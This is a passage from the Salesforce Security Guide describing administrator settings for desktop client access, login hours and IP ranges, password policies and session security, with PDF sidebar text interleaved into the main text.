On, no updates The respective client download page in users’ personal settings is hidden. Users
can log in from the client but can't upgrade it from their current version.

On, updates w/o alerts Users can download, log in from, and upgrade the client, but don't see alerts
when a new version is made available.

On, updates w/alerts Users can download, log in from, and upgrade the client. They can see update
alerts, and can follow or ignore them.

On, must update w/alerts Users can download, log in from, and upgrade the client. When a new version
is available, they can see an update alert. They can't log in from the client until
they have upgraded it.

Note:
• Desktop client access is available only for users whose profiles have the “API Enabled” permission.

If users can see alerts and they have logged in to Salesforce from the client in the past, an alert banner automatically appears in the
Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users can download and run
installer files. From their personal settings, users can also access the Check for Updates page, regardless of whether an alert has occurred.

IN THIS SECTION:
Desktop Client Access in the Enhanced Profile User Interface
To make updates to your desktop client access settings, use the enhanced profile user interface. For example, change Connect for
Outlook alert settings from here.
View and Edit Desktop Client Access in the Original Profile User Interface

14
Salesforce Security Guide Configure User Authentication

Desktop Client Access in the Enhanced Profile User Interface

To make updates to your desktop client access settings, use the enhanced profile user interface.
EDITIONS
For example, change Connect for Outlook alert settings from here.
Connect for Office is a desktop client that integrates Salesforce with your PC. As an administrator, Available in: Salesforce
you can control which desktop clients your users can access as well as whether users are Classic (not available in all
automatically notified when updates are available. orgs)

Note: To access desktop clients, users must also have the “API Enabled” permission. Available in: Enterprise,
Performance, Unlimited,
On the Desktop Client Access page in the enhanced profile user interface, you can: and Developer Editions
• Search for an object, permission, or setting
• Clone the profile USER PERMISSIONS
• Delete custom profile To view desktop client
• Change the profile name or description access settings:
• Go to the profile overview page • View Setup and
Configuration
• Switch to a different settings page
To edit desktop client access
settings:
• Manage Profiles and
Permission Sets

View and Edit Desktop Client Access in the Original Profile User Interface
Connect for Office is a desktop client that integrates Salesforce with your PC. As an administrator,
EDITIONS
you can control which desktop clients your users can access as well as whether users are
automatically notified when updates are available. Connect for Office available
Note: To access desktop clients, users must also have the “API Enabled” permission. in: both Salesforce Classic
and Lightning Experience
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
Connect for Office available
2. Click Edit next to a profile name, and scroll to the Desktop Integration Clients section at the in: All Editions except
bottom of the page. Database.com

Configure User Authentication USER PERMISSIONS

Choose login settings to ensure that your users are who they say they are. To view desktop client
access settings:
• View Setup and
IN THIS SECTION: Configuration
Restrict Where and When Users Can Log In to Salesforce To edit desktop client access
You can restrict the hours during which users can log in and the range of IP addresses from settings:
which they can log in and access Salesforce. If IP address restrictions are defined for a user’s • Manage Profiles and
profile and a login originates from an unknown IP address, Salesforce does not allow the user Permission Sets
to log in. These restrictions help protect your data from unauthorized access and phishing
attacks.
Set Password Policies
Improve your Salesforce org’s security with password protection. You can set password history, length, and complexity requirements.
You can also specify what to do when a user forgets the password.

15
Salesforce Security Guide Configure User Authentication

Expire Passwords for All Users

As an admin, you can expire passwords for all users anytime you want to enforce extra security for your Salesforce org. After expiring
passwords, all users are prompted to reset their password the next time they log in.
Modify Session Security Settings
You can change the session connection type, timeout restrictions, and IP address ranges to protect against malicious attacks and
more.
Define Identity Verification Settings for Your Orgs and Experience Cloud Sites
Define how and when users are prompted to verify their identity for an entire org or Experience Cloud site. For example, determine
whether users can verify their identity through email, text messages, or certificates.
Require High-Assurance Session Security for Sensitive Operations
To secure different setup areas in your org, require a high-assurance level of security for sensitive operations, such as accessing
reports and managing IP addresses. You can also block users from accessing these setup areas.
Custom Login Flows
A login flow directs users through a login process before they access your Salesforce org or Experience Cloud site. You can use a
login flow to control the business processes that your users follow when they log in to Salesforce. After Salesforce authenticates a
user, the login flow directs the user through a process, such as enforcing strong authentication or collecting user information. When
users complete the login flow successfully, they’re redirected to their Salesforce org or site. If unsuccessful, the flow can log out users
immediately.
Set Up a Login Flow and Connect to Profiles
After you create a flow using Flow Builder or Visualforce, designate it as a login flow and associate it with user profiles. When users
log in with an associated profile, they’re directed through the login flow.
Login Flow Examples
You can use a login flow to customize the login experience and integrate business processes with Salesforce authentication. Common
uses cases include collecting and updating user data at login, configuring multi-factor authentication, or integrating third-party
strong authentication methods.
Multi-Factor Authentication Considerations
Before enabling multi-factor authentication (MFA), review these considerations.
Deploy Third-Party, SMS-Based Multi-Factor Authentication
Multi-factor authentication (MFA) enhances security when validating a user’s identity and protects access to your Salesforce org. In
addition to a password, SMS-based MFA requires the user to provide a one-time password (OTP) code received on a mobile device.
Limit the Number of Concurrent Sessions with Login Flows
You can use a login flow to restrict the number of simultaneous Salesforce sessions per user.

Restrict Where and When Users Can Log In to Salesforce

You can restrict the hours during which users can log in and the range of IP addresses from which they can log in and access Salesforce.
If IP address restrictions are defined for a user’s profile and a login originates from an unknown IP address, Salesforce does not allow the
user to log in. These restrictions help protect your data from unauthorized access and phishing attacks.

Login Hours
For each profile, you can set the hours when users can log in. See:
• View and Edit Login Hours in the Enhanced Profile User Interface
• View and Edit Login Hours in the Original Profile User Interface

16
Salesforce Security Guide Configure User Authentication

Multi-Factor Authentication for User Interface Logins

For each profile, you can require users to provide an identity verification method in addition to their username and password when they
log in via the user interface. (Note that multi-factor authentication was previously called two-factor authentication.) See Set Multi-Factor
Authentication Login Requirements on page 58.

Multi-Factor Authentication for API Logins

For each profile, you can require a verification code, also called a time-based one-time password, or TOTP. Users with the Multi-Factor
Authentication for API Logins permission use a verification code instead of the standard security token whenever it’s requested, such as
when resetting the account’s password. Users must install and register a TOTP authenticator app to generate these verification codes.
(Note that multi-factor authentication was previously called two-factor authentication.) See Set Multi-Factor Authentication Login
Requirements for API Access on page 60.

Login IP Address Ranges

For Enterprise, Performance, Unlimited, Developer, and Database.com editions, you can set the Login IP Range addresses from which
users can log in on an individual profile. Users outside the login IP range can’t access your Salesforce org.
For Contact Manager, Group, and Professional Editions, set the Login IP Range. To set the range, from Setup, enter Session Settings
in the Quick Find box, then select Session Settings.

Login IP Address Range Enforcement for All Access Requests

You can enforce IP address restrictions for each page request, including requests from client apps. To enable this option, from Setup,
enter Session Settings in the Quick Find box, select Session Settings, and then select Enforce login IP ranges on every
request. This option affects all user profiles that have login IP restrictions.

Org-Wide Trusted IP Ranges

For all users, you can set a list of IP address ranges from which they can always log in without receiving a login challenge. These users
can log in to your org after they provide the additional verification. See Set Trusted IP Ranges for Your Organization.
When users log in to Salesforce via the user interface, the API, or a desktop client such as Salesforce for Outlook, Connect Offline, Connect
for Office, or the Data Loader, Salesforce authorizes the login as follows.
1. Salesforce checks whether the user’s profile has login-hour restrictions. If the user’s profile specifies login-hour restrictions, login
attempts outside the specified hours are denied.
2. If the user has the Multi-Factor Authentication for User Interface Logins permission, the Salesforce login process prompts the user
for an identity verification method in addition to their username and password. If the user’s account isn’t already connected to a
verification method, such as the Salesforce Authenticator mobile app, Salesforce prompts the user to register a method.
3. If the user has the Multi-Factor Authentication for API Logins permission and connected an authenticator app to the account, the
user must enter a verification code (TOTP) generated by the authenticator app. If the user uses the standard security token, Salesforce
returns an error.
4. Salesforce then checks whether the user’s profile defines IP address range restrictions. If so, logins from outside the IP address range
are denied. If the Enforce login IP ranges on every request session setting is enabled, the IP address restrictions are enforced for
each page request, including requests from client apps.
5. If profile-based IP address restrictions aren’t set, Salesforce checks whether the user is logging in from a device that was previously
used to access Salesforce.
• If the user is logging in from a device and browser that Salesforce recognizes, the login is allowed.

17
Salesforce Security Guide Configure User Authentication

• If the user is logging in from an IP address on your org’s trusted IP address list, the login is allowed.
• If the user isn’t logging in from a trusted IP address, device, or browser that Salesforce recognizes, the login is blocked.

Whenever a login is blocked or returns an API login fault, Salesforce verifies the user’s identity.
• For access via the user interface, the user is prompted to verify using Salesforce Authenticator (version 2 or later) or enter a verification
code.

Note: Users aren’t asked for a verification code the first time they log in to Salesforce.

• For access via the API or client app, if the Multi-Factor Authentication on API Logins permission is set on the user profile, users enter
a TOTP verification code generated by an authenticator app.
If the permission isn’t set, users must add their security token to the end of their password to log in. A security token is a generated
key from Salesforce. For example, if a user’s password is mypassword and the security token is XXXXXXXXXX, the user enters
mypasswordXXXXXXXXXX to log in. Some client apps have a separate field for the security token.
Users can get their security token by changing their password or resetting their security token via the Salesforce user interface. When
a user changes a password or resets a security token, Salesforce sends a new security token to the email address on the user’s
Salesforce record. The security token is valid until the user resets the security token, changes a password, or has a password reset.

Tip: Before you access Salesforce from a new IP address, we recommend that you get your security token from a trusted
network using Reset My Security Token.

Tips on Setting Login Restrictions

Consider the following when setting login restrictions.
• When a user’s password is changed, the security token is reset. Login via the API or a client can be blocked until the user adds the
generated security token to the end of the password.
• Partner Portal and Customer Portal users aren’t required to activate their browser to log in.
• For more information on API login faults, see the Core Data Types Used in API Calls topic in the SOAP API Developer Guide.
• If single sign-on (SSO) is enabled, API and desktop client users can log in to Salesforce, unless their profile has IP address restrictions
set and they try to log in from outside of the range defined. Also the SSO authority usually handles login lockout policies for users
with the Is Single Sign-On Enabled permission. However, if the security token is enabled, your org’s login lockout settings determine
how many times users can try to log in with an invalid security token before being locked out.
• These events count toward the number of times users can try to log in with an invalid password before getting locked out.
– Each time users are prompted to verify identity
– Each time users incorrectly add the security token or verification code to the end of their password when logging in to Salesforce
via the API or a client

IN THIS SECTION:
Restrict Login IP Ranges in the Enhanced Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile. When you define IP address
restrictions for a profile, a login from any other IP address is denied.
Restrict Login IP Addresses in the Original Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile. When you define IP address
restrictions for a profile, a login from any other IP address is denied.

18
Salesforce Security Guide Configure User Authentication

View and Edit Login Hours in the Enhanced Profile User Interface
For each profile, you can specify the hours when users can log in.
View and Edit Login Hours in the Original Profile User Interface
Specify the hours when users can log in based on the user profile.
Set Trusted IP Ranges for Your Organization
Trusted IP Ranges define a list of IP addresses from which users can log in without receiving a login challenge for verification of their
identity, such as a code sent to their mobile phone.

Restrict Login IP Ranges in the Enhanced Profile User Interface

Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile.
EDITIONS
When you define IP address restrictions for a profile, a login from any other IP address is denied.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles. Available in: Salesforce
Classic (not available in all
2. Select a profile, and click its name.
orgs) and Lightning
3. In the profile overview page, click Login IP Ranges. Experience
4. Specify allowed IP addresses for the profile. Available in: Professional,
• To add a range of IP addresses from which users can log in, click Add IP Ranges. Enter a Enterprise, Performance,
valid IP address in the IP Start Address and a higher-numbered IP address in the Unlimited, Developer, and
IP End Address field. To allow logins from only a single IP address, enter the same Database.com Editions
address in both fields. Custom Profiles available in:
• To edit or remove ranges, click Edit or Delete for that range. Professional, Enterprise,
Performance, Unlimited,
Important: and Developer Editions
• The IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist
in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff,
USER PERMISSIONS
where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is
255.255.255.255. A range can’t include IP addresses both inside and outside To view login IP ranges:
of the IPv4-mapped IPv6 address space. Ranges like 255.255.255.255 to • View Setup and
::1:0:0:0 or :: to ::1:0:0:0 aren’t allowed. Configuration
• Partner User profiles are limited to five IP addresses. To increase this limit, contact To edit and delete login IP
Salesforce. ranges:
• Manage Profiles and
5. Optionally enter a description for the range. If you maintain multiple ranges, use the Description Permission Sets
field to provide details, like which part of your network corresponds to this range.

Note: You can further restrict access to Salesforce to only those IPs in Login IP Ranges. To enable this option, in Setup, enter
Session Settings in the Quick Find box, then select Session Settings and select Enforce login IP ranges on every
request. This option affects all user profiles that have login IP restrictions.

19
Salesforce Security Guide Configure User Authentication

Restrict Login IP Addresses in the Original Profile User Interface

Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile.
EDITIONS
When you define IP address restrictions for a profile, a login from any other IP address is denied.
1. How you restrict the range of valid IP addresses on a profile depends on your Salesforce edition. Available in: Salesforce
Classic (not available in all
• If you’re using an Enterprise, Unlimited, Performance, or Developer Edition, from Setup,
orgs) and Lightning
enter Profiles in the Quick Find box, then select Profiles, and select a profile.
Experience
• If you’re using a Group, or Personal Edition, from Setup, enter Session Settings in
the Quick Find box, then select Session Settings. Available in: All Editions

• In a Professional Edition, the location of IP ranges depends on whether you have the "Edit
Profiles & Page Layouts" org preference enabled as an add-on feature. USER PERMISSIONS
With the "Edit Profiles & Page Layouts" org preference enabled, IP ranges are on individual To view login IP ranges:
profiles. • View Setup and
Without the "Edit Profiles & Page Layouts" org preference enabled, IP ranges are on the Configuration
Session Settings page. To edit and delete login IP
ranges:
2. Click New in the Login IP Ranges related list. • Manage Profiles and
Permission Sets
3. Enter a valid IP address in the IP Start Address field and a higher-numbered IP address
in the IP End Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from a single IP
address, enter the same address in both fields.
• The IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space
::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is
255.255.255.255. A range can’t include IP addresses both inside and outside of the IPv4-mapped IPv6 address space.
Ranges like 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 aren’t allowed.
• Partner User profiles are limited to five IP addresses. To increase this limit, contact Salesforce.

4. Optionally enter a description for the range. If you maintain multiple ranges, use the Description field to provide details, such as
which part of your network corresponds to this range.
5. Click Save.

Note: Cache settings on static resources are set to private when accessed via a Salesforce Site whose guest user's profile has
restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser.
Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce
cache and any intermediate caches.

Note: You can further restrict access to Salesforce to only those IPs in Login IP Ranges. To enable this option, in Setup, enter
Session Settings in the Quick Find box, then select Session Settings and select Enforce login IP ranges on every
request. This option affects all user profiles that have login IP restrictions.

20
Salesforce Security Guide Configure User Authentication

View and Edit Login Hours in the Enhanced Profile User Interface
For each profile, you can specify the hours when users can log in.
EDITIONS
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
Available in: Salesforce
2. Select a profile, and click its name.
Classic (not available in all
3. In the profile overview page, scroll down to Login Hours and click Edit. orgs) and Lightning
4. Set the days and hours when users with this profile can log in to the org. Experience

To let users log in at any time, click Clear all times. To prohibit users from logging in on a Available in: Professional,
specific day, set Start Time to 12 AM and End Time to End of Day. Enterprise, Performance,
Unlimited, Developer, and
If users are logged in when their login hours end, they can continue to view their current page,
Database.com Editions
but they can’t take any further action.
Custom Profiles available in:
Note: The first time login hours are set for a profile, the hours are based on the org’s default Professional, Enterprise,
time zone as specified on the Company Information page in Setup. After that, changes to the Performance, Unlimited,
org’s default time zone on the Company Information page don’t affect the time zone for the and Developer Editions
profile’s login hours. The profile login hours remain the same, even when a user is in a different
time zone or the org’s default time zone changes. USER PERMISSIONS
Depending on whether you’re viewing or editing login hours, the hours can be different. On
the Login Hours edit page, hours appear in your specified time zone. On the profile overview To view login hour settings:
page, hours appear in the org’s original default time zone. • View Setup and
Configuration
To edit login hour settings:
• Manage Profiles and
Permission Sets

View and Edit Login Hours in the Original Profile User Interface
Specify the hours when users can log in based on the user profile.
EDITIONS
1. From Setup, enter Profiles in the Quick Find box. Select Profiles, and then select a profile.
Available in: Salesforce
2. In the Login Hours related list, click Edit.
Classic (not available in all
3. Set the days and hours when users with this profile can log in to the org. orgs) and Lightning
To let users log in at any time, click Clear all times. To prohibit users from logging in on a Experience
specific day, set Start Time to 12 AM and End Time to End of Day. Available in: Enterprise,
If users are logged in when their login hours end, they can continue to view their current page, Performance, Unlimited,
but they can’t take any further action. Developer, and
Database.com Editions
4. Click Save.

Note: The first time login hours are set for a profile, the hours are based on the org’s default USER PERMISSIONS
time zone as specified on the Company Information page in Setup. After that, changes to the
org’s default time zone on the Company Information page don’t affect the time zone for the To set login hours:
profile’s login hours. The profile login hours remain the same, even when a user is in a different • Manage Profiles and
Permission Sets
time zone or the org’s default time zone changes.
Depending on whether you’re viewing or editing login hours, the hours appear differently.
On the profile detail page, hours appear in your specified time zone. On the Login Hours edit
page, the hours appear in the org’s default time zone.

21
Salesforce Security Guide Configure User Authentication

Set Trusted IP Ranges for Your Organization

Trusted IP Ranges define a list of IP addresses from which users can log in without receiving a login
EDITIONS
challenge for verification of their identity, such as a code sent to their mobile phone.

Note: Who Sees What: Organization Access (English only) Available in: both Salesforce
Classic (not available in all
Watch how you can restrict login through IP ranges and login hours. orgs) and Lightning
Experience
To help protect your organization’s data from unauthorized access, you can specify a list of IP
addresses from which users can log in without receiving a login challenge. However, this does not Available in: All Editions
restrict access, entirely, for users outside of the Trusted IP Range. After these users complete the
login challenge (usually by entering a code sent to their mobile device or email address), they can
USER PERMISSIONS
log in.
1. From Setup, enter Network Access in the Quick Find box, then select Network To change network access:
Access. • Manage IP Addresses

2. Click New.
3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in, including the start and end
values. If you want to allow logins from a single IP address, enter the same address in both fields.
The start and end IP addresses must be in an IPv4 range and include no more than 33,554,432 addresses (225, a /7 CIDR block).

4. Optionally, enter a description for the range. For example, if you maintain multiple ranges, enter details about the part of your network
that corresponds to this range.
5. Click Save.

Note: For organizations that were activated before December 2007, Salesforce automatically populated your organization’s
trusted IP address list in December 2007, when this feature was introduced. The IP addresses from which trusted users had already
accessed Salesforce during the past six months were added.

22
Salesforce Security Guide Configure User Authentication

Set Password Policies

Improve your Salesforce org’s security with password protection. You can set password history,
EDITIONS
length, and complexity requirements. You can also specify what to do when a user forgets the
password. Available in: both Salesforce
You can set different password and login policies based on the type of user. However, these policies Classic (not available in all
apply to all user passwords. orgs) and Lightning
Experience
• User passwords cannot exceed 16,000 bytes.
• Logins are limited to 3,600 per hour per user. This limit applies to organizations created after Available in: Contact
Summer ’08. Manager, Essentials,
Group, Professional,
• A password can’t contain a user’s username and can’t match a user’s first or last name. Passwords Enterprise, Performance,
also can’t be too simple. For example, a user can’t change their password to password. Unlimited, Developer, and
For all editions, a new org has the following default password requirements. You can change these Database.com Editions
password policies in all editions, except for Personal Edition.
• A password must contain at least eight characters, including one alphabetic character and one USER PERMISSIONS
number.
To set password policies:
• The security question’s answer can’t contain the user’s password.
• Manage Password
• When users change their password, they can’t reuse their last three passwords. Policies
To define password policies:
1. From Setup, enter Password Policies in the Quick Find box, then select Password Policies.
2. Customize the password settings.

Field Description
User passwords expire in The length of time until a user password expires and must be
changed. The default is 90 days. This setting isn’t available for
Self-Service portals.

Note: Enabling the Password never expires policy

overrides the User passwords expire in policy.
You can change this setting to an expiration date that is earlier
or later than the previous expiration date. To remove an
expiration date, select Never expires.

Enforce password history Save users’ previous passwords so that they must use a new,
unique password when changing passwords. Password history
is not saved until you set this value. The default is 3
passwords remembered. You cannot select No
passwords remembered unless you select Never expires for
the User passwords expire in field. This setting isn’t
available for Self-Service portals.

Minimum password length The minimum number of characters required for a password.
When you set this value, existing users aren’t affected until the
next time they change their passwords. The default is 8
characters.

23
Salesforce Security Guide Configure User Authentication

Field Description
Password complexity requirement The types of characters that must be used in a user’s password.
• No restriction—Has no requirements and is the least
secure option.
• Must include alpha and numeric
characters—The default setting. Requires at least one
alphabetic character and one number.
• Must include alpha, numeric, and
special characters—Requires at least one
alphabetic character, one number, and one of the following
characters: ! " # $ % & ' ( ) * + , - . /
: ; < = > ? @ [ \ ] ^ _ ` { | } ~.
• Must include numbers and uppercase and
lowercase letters—Requires at least one number,
one uppercase letter, and one lowercase letter.
• Must include numbers, uppercase and
lowercase letters, and special
characters—Requires at least one number, one
uppercase letter, one lowercase letter, and one of the
following characters: ! " # $ % & ' ( ) * + ,
- . / : ; < = > ? @ [ \ ] ^ _ ` { | }
~.
• Must include 3 of the following:
numbers, uppercase letters, lowercase
letters, special characters—Requires at
least three of the following options: one number, one
uppercase letter, one lowercase letter, and one special
character (! " # $ % & ' ( ) * + , - . / :
; < = > ? @ [ \ ] ^ _ ` { | } ~).

Note: Only the characters listed meet the requirement.

Other symbol characters are not considered special
characters.

Password question requirement The restrictions to place on the password hint’s answer.
• Cannot contain password—Restricts the answer
from containing the password.
• None—Places no restrictions on the answer. The user must
provide an answer to the password hint question. This setting
is the default.
This setting is not available for Self-Service portals, the
Customer Portal, or partner portals.

Maximum invalid login attempts The number of login failures allowed for a user before the user
is locked out. This setting isn’t available for Self-Service portals.

24
Salesforce Security Guide Configure User Authentication

Field Description
Lockout effective period The duration of the login lockout. The default is 15 minutes. This
setting isn’t available for Self-Service portals.
When a user is logged in to an active session but is later locked
out, the user remains logged in to the active session.

Note: A locked-out user must wait until the lockout

period expires. Alternatively, a user with the Reset User
Passwords and Unlock Users permission can unlock a user
from Setup.
a. Enter Users in the Quick Find box.
b. Select Users.
c. Select the user, and click Unlock.
This button is available only when a user is locked
out.

Obscure secret answer for password resets Hide answers to security questions as the user types. The default
is to show the answer in plain text.

Note: If your org uses the Microsoft Input Method Editor

(IME) with the input mode set to Hiragana, when you type
ASCII characters, they’re converted in to Japanese
characters in normal text fields. However, the IME doesn’t
work properly in fields with obscured text. If your org’s
users can’t properly enter their passwords or other values
after enabling this feature, disable the feature.

Require a minimum 1 day password lifetime A password can’t be changed more than once in a 24-hour
period. This policy applies to all password changes, including
password resets by Salesforce admins.

Allow use of setPassword() API for When selected, apps can use the setPassword() API to
self-resets change the current user’s password to a specific value. Deselect
this option for increased security. When deselected, apps must
use the changeOwnPassword() API to prompt users to
set their password value. The changeOwnPassword() API
verifies the user’s current password before allowing the change.
When you deselect this option, you can’t select it again.

3. Customize the forgotten password and locked account assistance information.

Note: This setting is not available for Self-Service portals, the Customer Portal, or partner portals.

25
Salesforce Security Guide Configure User Authentication

Field Description
Message If set, the message you enter appears in the We can’t reset your
password email. Users receive this email when they lock
themselves out by trying to reset their password too many times.
The text also appears at the bottom of the Answer Your Security
Question page when users reset their passwords.
You can add the name of your internal help desk or a system
admin to the default text. The message appears only for accounts
that need an admin to reset the password. Lockouts due to time
restrictions get a different system email message.

Help link If set, this link displays along with the text defined in the
Message field. In the We can’t reset your password email, the
URL displays exactly as it is typed in the Help link field. This
format provides extra security because the user isn’t within a
Salesforce org but can still see where the link goes.
On the Answer Your Security Question page, the Help link
URL combines with the text in the Message field and forms a
clickable link. Security isn’t an issue because the user is in a
Salesforce org when changing passwords.
Valid protocols are:
• http
• https
• mailto

4. Specify an alternative home page for users with the API Only User permission. After completing user management tasks such as
resetting a password, API-only users are redirected to the specified URL rather than to the login page.
5. Click Save.

26
Salesforce Security Guide Configure User Authentication

Expire Passwords for All Users

As an admin, you can expire passwords for all users anytime you want to enforce extra security for
EDITIONS
your Salesforce org. After expiring passwords, all users are prompted to reset their password the
next time they log in. Available in: both Salesforce
To expire passwords for all users, except those users with profiles that have the Password Never Classic (not available in all
Expires user permission: orgs) and Lightning
Experience
1. From Setup, enter Expire All Passwords in the Quick Find box, then select
Expire All Passwords. Available in: Professional,
Enterprise, Performance,
2. Select Expire all user passwords.
Unlimited, Developer, and
3. Click Save. Database.com Editions
The next time users log in, they are prompted to reset their password.
USER PERMISSIONS
Considerations When Expiring Passwords To expire all passwords:
• Users might be prompted to activate their devices to log in to Salesforce. • Reset User Passwords
• Expire all user passwords doesn’t affect Self-Service portal users because they and Unlock Users
aren’t direct Salesforce users.

27
Salesforce Security Guide Configure User Authentication

Modify Session Security Settings

You can change the session connection type, timeout restrictions, and IP address ranges to protect
EDITIONS
against malicious attacks and more.
1. From Setup, enter Session Settings in the Quick Find box, then select Session Settings. Available in: Lightning
Experience and Salesforce
2. Customize the session security settings.
Classic (not available in all
Note: Identity verification settings are also available on the Identity Verification page on orgs)
page 37. You can change identity verification settings in either location.
The Lock sessions to the IP
Field Description address from which they
originated setting is
Timeout value Length of time after which the system logs out inactive available in: Enterprise,
users. For portal users, the timeout is between 10 Performance, Unlimited,
minutes and 24 hours, even though you can only set it Developer, and
as low as 15 minutes. Select a value between 15 minutes Database.com Editions
and 24 hours. Choose a shorter timeout period if your All other settings available
Salesforce org has sensitive information and you want in: Essentials, Personal,
to enforce stricter security. Contact Manager, Group,
Professional, Enterprise,
Note: The last active session time value isn’t
Performance, Unlimited,
updated until halfway through the timeout Developer, and
period. So if you have a 30-minute timeout, the Database.com Editions
system checks for activity when 15 minutes have
passed. If you update a record after 20 minutes,
your timeout resets because it’s 5 minutes after USER PERMISSIONS
the active session time is checked. In that
scenario, you have another 30 minutes before To modify session security
logout occurs, for a total of 50 minutes. But if settings:
you update a record after 10 minutes, logout • Customize Application
occurs 20 minutes later (30 minutes total)
because there was no activity in the past 15
minutes.

Disable session timeout warning Determines whether the system prompts inactive users
popup with a timeout warning message. Users are prompted
30 seconds before timeout, as specified by the timeout
value.

Force logout on session timeout Requires that when sessions time out for inactive users,
current sessions become invalid. The browser refreshes
and returns to the login page. To access the org, the
user must log in again.

Note: When using this setting, do not select

Disable session timeout warning popup.

Lock sessions to the IP address from Determines whether user sessions are locked to the IP
which they originated address from which the user logged in, helping to
prevent unauthorized persons from hijacking a valid
session.

28
Salesforce Security Guide Configure User Authentication

Field Description

Note: This setting can inhibit various applications and mobile devices.

Lock sessions to the domain in which they were Associates a current UI session for a user, such as a community user, with a
first used specific domain. The setting helps prevent unauthorized use of the session
ID in another domain. This setting is enabled by default for orgs created with
the Spring ’15 release or later.

Require secure connections (HTTPS) Determines whether HTTPS is required to log in to or access Salesforce.
This setting is enabled by default for security reasons. This setting does not
apply to API requests. All API requests require HTTPS.
To enable HTTPS on communities and Salesforce Sites, see HSTS for Sites and
Communities.

Note:
• The Reset Passwords for Your Users page can only be accessed
using HTTPS.
• If this setting is disabled, Salesforce won't be fully functional for
Google Chrome users after the Chrome 80 release in February 2020.
The default SameSite behavior for cookies in Chrome requires
HTTPS in Salesforce.

Require secure connections (HTTPS) for all Determines whether HTTPS is required for connecting to third-party domains.
third-party domains This setting is enabled by default on accounts created after the Summer ’17
release.

Note: If this setting is disabled, Salesforce won't be fully functional

for Google Chrome users after the Chrome 80 release in February 2020.
The default SameSite behavior for cookies in Chrome requires HTTPS
in Salesforce.

Force relogin after Login-As-User Determines whether an admin who is logged in as another user is returned
to their previous session after logging out as the secondary user.
If the setting is enabled, an admin must log in again to continue using
Salesforce after logging out as the user. Otherwise, the admin is returned to
the original session after logging out as the user. This setting is enabled by
default for all orgs.

Require HttpOnly attribute Restricts session ID cookie access. A cookie with the HttpOnly attribute is not
accessible via non-HTTP methods, such as calls from JavaScript.

Note: If you have a custom or packaged application that uses

JavaScript to access session ID cookies, selecting Require HttpOnly
attribute breaks your application. It denies the application access to
the cookie. If Require HttpOnly attribute is selected, the AJAX Toolkit
debugging window isn’t available.

29
Salesforce Security Guide Configure User Authentication

Field Description
Use POST requests for cross-domain sessions Sets the org to send session information using a POST request, instead of a
GET request, for cross-domain exchanges. An example of a cross-domain
exchange is when using a Visualforce page. In this context, POST requests are
more secure than GET requests because POST requests keep the session
information in the body of the request. However, if you enable this setting,
sometimes embedded content, such as an image, from another domain
doesn’t display.

Enforce login IP ranges on every request Restricts the IP addresses from which users can access Salesforce to only the
IP addresses defined in Login IP Ranges. If this setting is enabled, login IP
ranges are enforced on each page request, including requests from client
applications. If this setting isn’t enabled, login IP ranges are enforced only
when a user logs in. This setting affects all user profiles that have login IP
restrictions.

Login IP Ranges (for Contact Manager, Group, and Specifies a range of IP addresses users must log in from (inclusive), or the login
Professional Editions) fails.
To specify a range, click New and enter a Start IP Address and End IP Address
to define the range, which includes the start and end values.
This field is not available in Enterprise, Unlimited, Performance, and Developer
Editions. In those editions, you can specify a valid Login IP Range in the user
profile settings.

Enable caching and autocomplete on login page Allows the user’s browser to store usernames. If enabled, after initial login,
usernames are auto-filled into the Username field on the login page. If the
user selected Remember me on the login page, the username persists after
the session expires or the user logs out. The username also appears on the
Switcher. This setting is selected by default for all orgs.

Note: To improve your org’s security posture, we recommend that

you disable this setting. After you disable it, the Remember me option
doesn’t appear on your org’s login page or from the Switcher.

Enable secure and persistent browser caching to Enables secure data caching in the browser to improve page reload
improve performance performance by avoiding extra round trips to the server. This setting is selected
by default for all orgs.

Warning: Disabling secure and persistent browser caching has a

significant negative performance impact on Lightning Experience. Only
disable in the following scenarios:
• Your company’s policy doesn’t allow browser caching, even if the
data is encrypted.
• During development in a sandbox or Developer Edition org to see
the effect of any code changes without needing to empty the
secure cache.

Enable user switching Determines whether the Switcher appears when your org’s users select their
profile picture. This setting is selected by default for all orgs. The Enable caching

30
Salesforce Security Guide Configure User Authentication

Field Description
and autocomplete on login page setting must also be enabled. Deselect the
Enable user switching setting to prevent your org from appearing in Switchers
on other orgs. It also prevents your org users from seeing the Switcher when
they select their profile picture.

Remember until logout Normally, usernames are cached only while a session is active or if a user
selects Remember Me. The remember option isn't available for SSO sessions.
When the session expires, the username disappears from the login page and
the Switcher. By enabling Remember me until logout, the cached usernames
are deleted only if the user explicitly logs out. If the session times out, they
appear on the Switcher as inactive. This way, if the users are on their own
computer and allow a session to time out, they can select the username to
reauthenticate. If they're on a shared computer, the username is deleted
immediately when the user logs out.
This setting applies to all your org’s users. This option isn't enabled by default.
However, we encourage you to enable it as a convenience to your users. Keep
this setting disabled if your org doesn't expose all your SSO or authentication
providers on your login page.

Enable Content Delivery Network (CDN) for Allows users to load Lightning Experience and other apps faster by enabling
Lightning Component framework Akamai’s content delivery network (CDN) to serve the static content for
Lightning Component framework. A CDN generally speeds up page load time,
but it also changes the source domain that serves the files. If your company
has IP range restrictions for content served from Salesforce, test thoroughly
before enabling this setting. CDNs improve the load time of static content by
storing cached versions in multiple geographic locations. This setting turns
on CDN delivery for the static JavaScript and CSS in the Lightning Component
framework. It doesn’t distribute your org’s data or metadata in a CDN.

